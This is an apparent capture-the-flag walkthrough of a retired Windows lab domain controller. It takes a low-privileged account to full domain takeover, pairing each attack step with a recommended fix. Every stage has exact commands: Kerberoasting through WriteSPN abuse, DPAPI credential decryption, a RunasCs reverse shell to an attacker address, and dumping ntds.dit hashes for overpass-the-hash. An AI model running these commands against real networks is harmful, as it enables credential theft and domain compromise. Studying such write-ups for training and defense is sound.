← all walkthroughs

Voleur

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-03
time to own
39m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Starting from a single set of assumed-breach domain credentials, my read a non-default SMB share and pulled an encrypted spreadsheet whose password cracked offline to reveal two service-account credentials and a note about a deleted employee account. Domain reconnaissance showed one of those service accounts could write a Service Principal Name onto another, turning it into a target for offline Kerberos ticket cracking and yielding a WinRM foothold.

From there, I reused a recovered password to briefly become the more privileged service account, restored the deleted employee's AD object from the Recycle Bin, and decrypted that employee's saved Windows credential (DPAPI) to obtain a third account's password. That account's file share held an unprotected SSH private key for a Linux subsystem running on the domain controller itself; SSH access to it exposed the domain's backup files outside normal Windows permissions, yielding a full copy of the Active Directory database and the domain's password hashes — including the Administrator's — for complete domain takeover.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"

Attack path — how the box was taken

1Initial AccessSMB share enumeration with a low-privileged account (T1135 / T1021.002)
Authenticated with the provided domain account and read a sensitive file share
Using the supplied credentials for ryan.naylor, I requested a Kerberos ticket (the domain enforces Kerberos-only authentication, so NTLM logins are rejected) and enumerated SMB shares on the domain controller. A non-default share named 'IT' was readable by this low-privileged account and contained an internal support spreadsheet, 'Access_Review.xlsx', protected only by document-level encryption.
Ryan.naylor had READ on the non-default 'IT' share; Access_Review.xlsx was retrievable and found to be CDFV2-encrypted.
Exact commands 5
Resolve the domain controller's hostname.
echo "$TARGET dc.voleur.htb voleur.htb" | sudo tee -a /etc/hosts
Sync the clock — Kerberos fails with KRB_AP_ERR_SKEW if my and DC time diverge.
sudo ntpdate dc.voleur.htb
Request a Kerberos TGT; NTLM auth is disabled domain-wide.
getTGT.py voleur.htb/ryan.naylor:$PASSWORD2 -dc-ip $TARGET
Point subsequent tools at the obtained ticket.
export KRB5CCNAME=ryan.naylor.ccache
Browse shares over Kerberos; locate and download IT/First-Line Support/Access_Review.xlsx.
smbclient.py -k -no-pass voleur.htb/ryan.naylor@dc.voleur.htb
FixRemove sensitive credentials from shared documents and restrict the 'IT' shareHigh
WeaknessA non-default SMB share ('IT') was readable by an ordinary domain user and contained a spreadsheet, protected only by a weak, dictionary-crackable password, that stored multiple service-account passwords in plaintext.
FixRestrict the 'IT' share to only the staff who need it via NTFS/share ACLs, remove plaintext or weakly-protected credentials from documents entirely, and store secrets in a managed vault (e.g. Group Managed Service Accounts or a password manager) instead of spreadsheets. Enforce a strong, non-dictionary password policy for any document-level encryption that remains.
2Credential AccessOffline password recovery against a protected document (T1110.002)
Cracked the spreadsheet's password and recovered two service-account credentials
The xlsx file's encryption password was recovered offline with a dictionary attack. Opening the document exposed plaintext credentials for two service accounts, svc_ldap and svc_iis, plus an internal note that a former employee, todd.wolfe, had been deleted from Active Directory along with their password — details that became critical to the later privilege-escalation chain.
Office2john/hashcat -m 9600 recovered the password '[REDACTED: recovered credential]'; document contained svc_ldap:[REDACTED: recovered credential], svc_iis:[REDACTED: recovered credential], and todd.wolfe's password [REDACTED: recovered credential]
Exact commands 2
Extract the crackable hash from the encrypted spreadsheet.
office2john Access_Review.xlsx > access_review.hash
Dictionary-crack the document password (recovers '[REDACTED: recovered credential]').
hashcat -m 9600 access_review.hash /usr/share/wordlists/rockyou.txt
3Privilege EscalationTargeted Kerberoasting via delegated WriteSPN abuse (T1558.003)
Abused a WriteSPN privilege to Kerberoast a normally unroastable account
BloodHound data collected with the svc_ldap credential showed svc_ldap held WriteSPN rights over svc_winrm, a member of Remote Management Users. I added a fake Service Principal Name to svc_winrm, which made it eligible for Kerberoasting even though it had no SPN of its own, requested its Kerberos service ticket, and cracked the ticket offline to recover svc_winrm's password.
BloodHound path: svc_ldap -[WriteSPN]-> svc_winrm; TGS for the injected SPN cracked with hashcat -m 13100 to '[REDACTED: recovered credential]'.
Exact commands 5
Collect AD relationships to find abusable privileges.
bloodhound-python -k -u svc_ldap -p $PASSWORD3 -d voleur.htb -ns $TARGET -c All
Write a fake SPN onto svc_winrm using svc_ldap's WriteSPN right.
bloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD3 set object svc_winrm servicePrincipalName -v 'http/x'
Request and dump the now-available TGS for svc_winrm.
netexec ldap dc.voleur.htb -u svc_ldap -p $PASSWORD3 -k --kerberoasting out.txt
Crack the Kerberoast ticket offline (recovers svc_winrm's password).
hashcat -m 13100 out.txt /usr/share/wordlists/rockyou.txt
Remove the injected SPN to restore the object (operational hygiene, not required for the attack).
bloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD3 remove object svc_winrm servicePrincipalName -v 'http/x'
FixRemove unnecessary WriteSPN delegation and enforce strong service-account passwordsHigh
Weaknesssvc_ldap was delegated the WriteSPN right over svc_winrm, letting a compromised low-tier service account arbitrarily mark another account as Kerberoastable; svc_winrm's password was also weak enough to crack offline once roasted.
FixAudit and remove unnecessary GenericWrite/WriteSPN/GenericAll delegations on service accounts using BloodHound; grant only the minimum ACEs each account actually needs. Set all service-account passwords to long, random values (25+ characters) or migrate to Group Managed Service Accounts so Kerberoasted tickets are computationally infeasible to crack.
4FootholdKerberos-authenticated WinRM remote shell (T1021.006)
Logged in over WinRM as svc_winrm and captured the user flag
The cracked svc_winrm credential was used to obtain a Kerberos ticket and open an authenticated WinRM (Kerberos) session, giving an interactive PowerShell shell on the domain controller as svc_winrm and access to that account's desktop.
Whoami returned voleur\svc_winrm; user.txt read from C:\Users\svc_winrm\Desktop.
Exact commands 5
Obtain a Kerberos TGT for svc_winrm.
getTGT.py voleur.htb/svc_winrm:'$PASSWORD7' -dc-ip $TARGET
Use this ticket for the WinRM connection.
export KRB5CCNAME=svc_winrm.ccache
Kerberos WinRM login (NTLM/-u/-p would silently fail on this domain).
evil-winrm -i dc.voleur.htb -r voleur.htb
Confirm code execution as svc_winrm before reading the flag.
whoami
Retrieve the user flag; value shown here is <user.txt>.
type C:\Users\svc_winrm\Desktop\user.txt
5Privilege EscalationExcessive AD Recycle Bin restore delegation (T1003 / abuse of delegated AD permissions)
Pivoted to svc_ldap to reach its AD Recycle Bin restore rights
Svc_winrm's session was used to spawn a new process running as svc_ldap with its already-cracked password. Svc_ldap held rights to restore deleted objects from the Active Directory Recycle Bin, which was needed to bring back the todd.wolfe account mentioned in the earlier spreadsheet note — an account whose leftover credential material had not been cleaned up.
RunasCs launched a reverse shell as voleur\svc_ldap; Get-ADObject -IncludeDeletedObjects located the tombstoned todd.wolfe object.
Exact commands 3
Run from the svc_winrm WinRM shell to pivot into svc_ldap's context.
.\RunasCs.exe svc_ldap $PASSWORD3 powershell -r $ATTACKER_IP:443
Locate the deleted account and note its objectGUID.
Get-ADObject -Filter 'displayName -eq "todd.wolfe"' -IncludeDeletedObjects -Properties *
Restore todd.wolfe from the AD Recycle Bin using svc_ldap's delegated rights.
Restore-ADObject -Identity <objectGUID>
FixRestrict AD Recycle Bin restore rights to Tier-0 administratorsHigh
Weaknesssvc_ldap, a service account with no operational need to manage user lifecycle, held delegated rights to restore deleted objects from the Active Directory Recycle Bin, letting anyone who compromised it bring back a deprovisioned account and its leftover secrets.
FixRemove Recycle-Bin restore and object-management delegations from service accounts; restrict them to dedicated Tier-0 identity-administration groups. Review all delegated AD permissions with BloodHound on a regular cadence and alert on Restore-ADObject / object-restoration events.
6Credential AccessDPAPI master key and credential blob decryption (T1555.004)
Decrypted a leftover DPAPI credential from the restored user's archived profile
Restoring todd.wolfe's AD object also restored access to their archived home directory, which still contained a Windows DPAPI master key and an encrypted saved-credential blob under AppData. Using todd's own (previously recovered) password to unlock the master key, and that key to decrypt the credential blob, I recovered plaintext credentials for a fourth account, jeremy.combs.
Dpapi.py decrypted the blob in AppData\Roaming\Microsoft\Credentials\ using the master key in AppData\Roaming\Microsoft\Protect\<SID>\, yielding jeremy.combs:[REDACTED: recovered credential]
Exact commands 2
Decrypt the DPAPI master key; -sid must match the Protect\<SID> folder exactly and the password is todd's document password, not an AD login.
dpapi.py masterkey -file '<path to Protect\<SID>\masterkey>' -sid <SID> -password $PASSWORD6
Decrypt the stored credential blob to recover jeremy.combs' plaintext password.
dpapi.py credential -file '<path to Credentials blob>' -key 0x<decrypted_masterkey>
FixPurge credential material from deprovisioned/archived user profilesMedium
WeaknessA deleted employee's archived home directory retained an intact DPAPI master key and encrypted saved-credential blob, which decrypted into a live, working password for another current account once the deleted user was restored.
FixAs part of the offboarding process, securely wipe or archive-and-purge AppData\Roaming\Microsoft\Credentials and \Protect for departed users, and rotate any credentials that user could have accessed or saved. Do not leave deprovisioned profiles restorable with intact secrets.
7Lateral MovementInsecure private-key storage enabling lateral movement to a co-hosted Linux subsystem (T1552.004, T1021.004)
Found an unprotected SSH private key and reached a hidden Linux subsystem on the DC
Jeremy.combs, a member of Remote Management Users, had access to a Third-Line Support folder containing an SSH private key (id_rsa) whose comment identified it as belonging to a 'svc_backup' account. That key was valid for an OpenSSH service listening on a non-standard port, which turned out to be a WSL (Windows Subsystem for Linux) Ubuntu instance running directly on the domain controller — a component outside the domain's usual Windows-only attack surface.
Id_rsa recovered from C:\IT\Third-Line Support\ authenticated as svc_backup over SSH on TCP/2222.
Exact commands 3
Use jeremy.combs' credential to reach C:\IT\Third-Line Support\ and pull id_rsa.
evil-winrm -i dc.voleur.htb -r voleur.htb (as jeremy.combs, Kerberos)
SSH into the WSL Ubuntu instance running on the domain controller.
ssh -i id_rsa -p 2222 svc_backup@$TARGET
Confirm the shell and its privileges before proceeding.
id; hostname
FixNever store private SSH keys in general-access file sharesHigh
WeaknessA private SSH key (id_rsa) for a backup-service account was stored unencrypted in a support share reachable by a standard Remote Management Users member, allowing lateral movement to another host with no additional exploitation.
FixRemove private keys from shared locations; store them only in the target user's own protected profile or a secrets manager/HSM, protect them with a passphrase, and restrict SSH access with IP allow-listing or a bastion host. Rotate the exposed key immediately.
8Privilege EscalationNTFS ACL bypass via WSL-mounted filesystem exposing an AD database backup (T1003.003)
Read the domain's NTDS backup through WSL's bypass of Windows file permissions
WSL mounts the Windows C: drive at /mnt/c without enforcing Windows NTFS ACLs. A domain backup directory on that drive — normally protected — was fully readable from inside WSL and contained a copy of the Active Directory database (ntds.dit) along with the SYSTEM and SECURITY registry hives needed to decrypt it, giving me every domain account's password hash including the built-in Administrator's.
/mnt/c/IT/Third-Line Support/Backups/ contained ntds.dit, SYSTEM, and SECURITY, world-writable per the ls -l output captured during the session.
Exact commands 3
Confirm the backup files are readable from the WSL shell, unrestricted by Windows ACLs.
ls -l '/mnt/c/IT/Third-Line Support/Backups'
Pull the AD database and registry hives needed to decrypt it.
scp -P 2222 -i id_rsa svc_backup@$TARGET:'/mnt/c/IT/Third-Line Support/Backups/{ntds.dit,SYSTEM,SECURITY}' .
Extract every domain account's NTLM hash, including built-in Administrator.
secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
FixStop storing AD database backups where WSL or other non-Windows-ACL-aware access can reach themCritical
WeaknessA full Active Directory backup (ntds.dit, SYSTEM, SECURITY) was stored on the domain controller's C: drive inside a path also reachable from the machine's WSL Linux subsystem, which mounts NTFS without honoring Windows ACLs — exposing the entire domain's password hashes to any account with WSL shell access.
FixDo not run WSL (or other non-Windows-ACL-aware subsystems) on domain controllers. Store AD/NTDS backups only on isolated, access-controlled backup infrastructure — never on the DC's local disk — and encrypt backup files at rest. Restrict who can log in to the DC at all, and monitor for ntdsutil/secretsdump-style access patterns.
9Domain CompromiseOverpass-the-hash: NTLM hash to Kerberos TGT (T1550.002 / T1550.003)
Used the extracted Administrator hash to get a Kerberos ticket and full control of the domain
Because NTLM is disabled domain-wide, the Administrator's NTLM hash could not be used for classic pass-the-hash. Instead, I performed an overpass-the-hash: using the hash to request a legitimate Kerberos TGT for Administrator, then using that ticket to open a command-execution session on the domain controller as Administrator, proving full domain compromise and retrieving the root flag.
GetTGT.py issued a TGT for administrator from the dumped hash; wmiexec.py opened a SYSTEM-level session; root.txt read from C:\Users\Administrator\Desktop.
Exact commands 4
Convert the NT hash into a Kerberos TGT since NTLM pass-the-hash is blocked.
getTGT.py voleur.htb/administrator -hashes :$PASSWORD8 -dc-ip $TARGET
Use the Administrator ticket for the next command.
export KRB5CCNAME=administrator.ccache
Open a command-execution session as Administrator over Kerberos.
wmiexec.py -k -no-pass voleur.htb/administrator@dc.voleur.htb
Prove SYSTEM/Administrator access before reading the flag; value shown here is <root.txt>.
whoami && type C:\Users\Administrator\Desktop\root.txt

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
2222/tcp
3268/tcp
5985/tcp
9389/tcp
49664/tcp
49668/tcp
49674/tcp
49675/tcp
53181/tcp
53187/tcp
53207/tcp
53/udp